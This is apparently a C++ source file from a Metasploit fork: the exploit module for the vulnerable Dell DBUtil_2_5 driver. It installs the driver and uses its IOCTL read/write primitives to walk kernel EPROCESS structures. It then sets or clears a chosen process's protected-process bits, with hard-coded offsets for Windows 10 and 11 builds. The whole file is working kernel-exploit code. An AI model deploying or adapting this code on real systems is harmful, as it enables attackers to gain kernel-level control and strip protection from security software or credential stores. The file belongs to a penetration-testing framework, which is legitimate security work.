Files
metasploit-gs/external/source/exploits/dell_memory_protect/exploit.cpp
T
2021-12-08 07:33:16 -08:00

355 lines
12 KiB
C++

#include <Windows.h>
#include <Psapi.h>
#include <newdev.h>
#include <string>
#include <sstream>
#include <filesystem>
#include "common.h"
namespace
{
const std::string s_driverHandle("\\\\.\\DBUtil_2_5");
const uint32_t s_write_ioctl = 0x9b0c1ec8;
const uint32_t s_read_ioctl = 0x9b0c1ec4;
struct Offsets
{
uint64_t UniqueProcessIdOffset;
uint64_t ActiveProcessLinksOffset;
uint64_t SignatureLevelOffset;
};
uint64_t readPrimitive(HANDLE p_device, uint64_t p_address)
{
uint64_t read_data[4] = { 0, p_address, 0, 0 };
uint64_t response[4] = { };
DWORD dwBytesReturned = 0;
DeviceIoControl(p_device, s_read_ioctl, &read_data, sizeof(read_data), &response, sizeof(response), &dwBytesReturned, 0);
return response[3];
}
void writePrimitive(HANDLE p_device, uint64_t p_address, uint64_t p_data)
{
uint64_t write_data[4] = { 0, p_address, 0, p_data };
uint64_t response[4] = { };
DWORD bytesReturned = 0;
DeviceIoControl(p_device, s_write_ioctl, &write_data, sizeof(write_data), &response, sizeof(response), &bytesReturned, 0);
}
bool getDeviceHandle(HANDLE& p_handle)
{
p_handle = CreateFileA(s_driverHandle.c_str(), GENERIC_WRITE | GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0);
if (INVALID_HANDLE_VALUE == p_handle)
{
dprintf("[!] Failed to get a handle to %s: %u", s_driverHandle.c_str(), GetLastError());
return false;
}
return true;
}
uint64_t getKernelBaseAddr()
{
DWORD out = 0;
DWORD nb = 0;
uint64_t return_value = 0;
if (EnumDeviceDrivers(NULL, 0, &nb))
{
PVOID* base = (PVOID*)malloc(nb);
if (base != NULL && EnumDeviceDrivers(base, nb, &out))
{
return_value = (uint64_t)base[0];
}
free(base);
base = NULL;
}
return return_value;
}
uint64_t getPsInitialSystemProcessAddress(HANDLE p_device)
{
const auto NtoskrnlBaseAddress = getKernelBaseAddr();
dprintf("[+] Ntoskrnl base address: %llx", NtoskrnlBaseAddress);
// Locating PsInitialSystemProcess address
HMODULE Ntoskrnl = LoadLibraryA("ntoskrnl.exe");
if (Ntoskrnl == NULL)
{
return false;
}
uint64_t PsInitialSystemProcessOffset = (uint64_t)(GetProcAddress(Ntoskrnl, "PsInitialSystemProcess")) - (uint64_t)(Ntoskrnl);
FreeLibrary(Ntoskrnl);
return readPrimitive(p_device, NtoskrnlBaseAddress + PsInitialSystemProcessOffset);
}
uint64_t getTargetProcessAddress(HANDLE p_device, Offsets p_offsets, uint64_t p_psInitialSystemProcessAddress, uint64_t p_targetPID)
{
// Find our process in active process list
uint64_t head = p_psInitialSystemProcessAddress + p_offsets.ActiveProcessLinksOffset;
uint64_t current = head;
do
{
uint64_t processAddress = current - p_offsets.ActiveProcessLinksOffset;
uint64_t uniqueProcessId = readPrimitive(p_device, processAddress + p_offsets.UniqueProcessIdOffset);
if (uniqueProcessId == p_targetPID)
{
return current - p_offsets.ActiveProcessLinksOffset;
}
current = readPrimitive(p_device, processAddress + p_offsets.ActiveProcessLinksOffset);
} while (current != head);
// oh no
return 0;
}
bool changeProcessProtection(uint64_t targetPID, Offsets offsets, bool p_protect)
{
HANDLE Device = INVALID_HANDLE_VALUE;
if (!getDeviceHandle(Device))
{
return false;
}
uint64_t PsInitialSystemProcessAddress = getPsInitialSystemProcessAddress(Device);
if (PsInitialSystemProcessAddress == 0)
{
dprintf("[-] Failed to resolve PsInitilaSystemProcess");
CloseHandle(Device);
return false;
}
uint64_t targetProcessAddress = getTargetProcessAddress(Device, offsets, PsInitialSystemProcessAddress, targetPID);
if (targetProcessAddress == 0)
{
dprintf("[-] Failed to find the target process");
CloseHandle(Device);
return false;
}
// read in the current protection bits, mask them out, and write it back
uint64_t flags = readPrimitive(Device, targetProcessAddress + offsets.SignatureLevelOffset);
dprintf("[+] Current SignatureLevel, SectionSignatureLevel, Type, Audit, and Signer bits (plus 5 bytes): %llx", flags);
flags = (flags & 0xffffffffff000000);
if (p_protect)
{
// wintcb / protected
flags = (flags | 0x623f3f);
}
dprintf("[+] Writing flags back as: %llx", flags);
writePrimitive(Device, targetProcessAddress + offsets.SignatureLevelOffset, flags);
CloseHandle(Device);
return true;
}
bool getVersionOffsets(Offsets& p_offsets)
{
HMODULE hNtdll = GetModuleHandleA("ntdll");
if (hNtdll == NULL)
{
return false;
}
typedef void(__stdcall* fRtlGetNtVersionNumbers)(DWORD* MajorVersion, DWORD* MinorVersion, DWORD* BuildNumber);
fRtlGetNtVersionNumbers RtlGetNtVersionNumbers = (fRtlGetNtVersionNumbers)GetProcAddress(hNtdll, "RtlGetNtVersionNumbers");
if (RtlGetNtVersionNumbers == NULL)
{
return false;
}
/* get the version to determine the necessary eprocess offsets */
DWORD dwMajor, dwMinor, dwBuild;
RtlGetNtVersionNumbers(&dwMajor, &dwMinor, &dwBuild);
dwBuild = LOWORD(dwBuild);
if (dwMajor != 10 && dwMinor != 0)
{
return false;
}
switch (dwBuild)
{
case 10240: // Gold
p_offsets.UniqueProcessIdOffset = 0x02e8;
p_offsets.ActiveProcessLinksOffset = 0x02f0;
p_offsets.SignatureLevelOffset = 0x06a8;
return true;
case 10586: // 2015 update
p_offsets.UniqueProcessIdOffset = 0x02e8;
p_offsets.ActiveProcessLinksOffset = 0x02f0;
p_offsets.SignatureLevelOffset = 0x06b0;
return true;
case 14393: // 2016 update
p_offsets.UniqueProcessIdOffset = 0x02e8;
p_offsets.ActiveProcessLinksOffset = 0x02f0;
p_offsets.SignatureLevelOffset = 0x06c8;
return true;
case 15063: // April 2017 update
case 16299: // Fall 2017 update
case 17134: // April 2018 update
case 17763: // October 2018 update
p_offsets.UniqueProcessIdOffset = 0x02e0;
p_offsets.ActiveProcessLinksOffset = 0x02e8;
p_offsets.SignatureLevelOffset = 0x06c8;
return true;
case 18362: // May 2019 update
case 18363: // November 2019 update
p_offsets.UniqueProcessIdOffset = 0x02e8;
p_offsets.ActiveProcessLinksOffset = 0x02f0;
p_offsets.SignatureLevelOffset = 0x06f8;
return true;
case 19041: // May 2020 update
case 19042: // October 2020 update
case 19043: // May 2021 update
case 19044: // October 2021 update
case 22000: // Win 11 June/September 2021
p_offsets.UniqueProcessIdOffset = 0x0440;
p_offsets.ActiveProcessLinksOffset = 0x0448;
p_offsets.SignatureLevelOffset = 0x0878;
return true;
default:
return false;
}
return false;
}
bool driver2Setup(HDEVINFO& p_devInfo, SP_DEVINFO_DATA& p_deviceInfoData, const char* p_infPath)
{
GUID guid = {};
char classname[255] = { };
if (!SetupDiGetINFClassA(p_infPath, &guid, &(classname[0]), sizeof(classname), NULL))
{
dprintf("[-] SetupDiGetINFClassA failed: %u", GetLastError());
return false;
}
p_devInfo = SetupDiCreateDeviceInfoList(&guid, NULL);
if (INVALID_HANDLE_VALUE == p_devInfo)
{
dprintf("[-] SetupDiCreateDeviceInfoList failed: %u", GetLastError());
return false;
}
p_deviceInfoData.cbSize = sizeof(SP_DEVINFO_DATA);
if (!SetupDiCreateDeviceInfoA(p_devInfo, classname, &guid, NULL, NULL, 1, &p_deviceInfoData))
{
dprintf("[-] SetupDiCreateDeviceInfoList failed: %u", GetLastError());
return false;
}
char prop_buff[] = "ROOT\\DBUtilDrv2\x00";
if (!SetupDiSetDeviceRegistryPropertyA(p_devInfo, &p_deviceInfoData, 1, (BYTE*)&prop_buff[0], sizeof(prop_buff)))
{
dprintf("[-] SetupDiSetDeviceRegistryPropertyA failed: %u", GetLastError());
return false;
}
if (!SetupDiCallClassInstaller(0x19, p_devInfo, &p_deviceInfoData))
{
dprintf("[-] SetupDiCallClassInstaller failed: %u", GetLastError());
return false;
}
BOOL restart = 0;
if (!UpdateDriverForPlugAndPlayDevicesA(NULL, prop_buff, p_infPath, INSTALLFLAG_FORCE | INSTALLFLAG_NONINTERACTIVE, &restart))
{
dprintf("[-] UpdateDriverForPlugAndPlayDevicesA failed: %u", GetLastError());
return false;
}
dprintf("[+] Driver installed!");
return true;
}
void driver2Remove(HDEVINFO& p_devInfo, SP_DEVINFO_DATA& p_deviceInfoData)
{
if (p_devInfo != INVALID_HANDLE_VALUE)
{
dprintf("[+] Removing device");
SetupDiRemoveDevice(p_devInfo, &p_deviceInfoData);
p_devInfo = INVALID_HANDLE_VALUE;
}
}
bool parse_params(std::string p_params, std::string& p_path_str, uint64_t& p_pid, bool& p_enable)
{
std::string pid;
std::string enable;
std::stringstream stream(p_params);
std::getline(stream, p_path_str, ',');
std::getline(stream, pid, ',');
std::getline(stream, enable, ',');
if (p_path_str.empty() || pid.empty() || enable.empty())
{
return false;
}
try
{
p_pid = stoll(pid);
}
catch (const std::exception&)
{
return false;
}
if (enable.size() != 1)
{
return false;
}
p_enable = (enable == "1");
return true;
}
}
int exploit(const char* params)
{
if (params == NULL)
{
dprintf("[!] No params passed to the module.");
return EXIT_FAILURE;
}
std::string path_str;
uint64_t pid;
bool enable;
if (!parse_params(params, path_str, pid, enable))
{
return EXIT_FAILURE;
}
path_str.append("\\dbutildrv2.inf");
if (std::filesystem::exists(path_str) == false)
{
dprintf("[!] Could not find the driver's inf file in the provided directory");
return EXIT_FAILURE;
}
Offsets offsets = { 0, 0, 0 };
if (!getVersionOffsets(offsets))
{
return EXIT_FAILURE;
}
HDEVINFO devInfo = NULL;
SP_DEVINFO_DATA deviceInfoData = { };
if (!driver2Setup(devInfo, deviceInfoData, path_str.c_str()))
{
return EXIT_FAILURE;
}
changeProcessProtection(pid, offsets, enable);
driver2Remove(devInfo, deviceInfoData);
return EXIT_SUCCESS;
}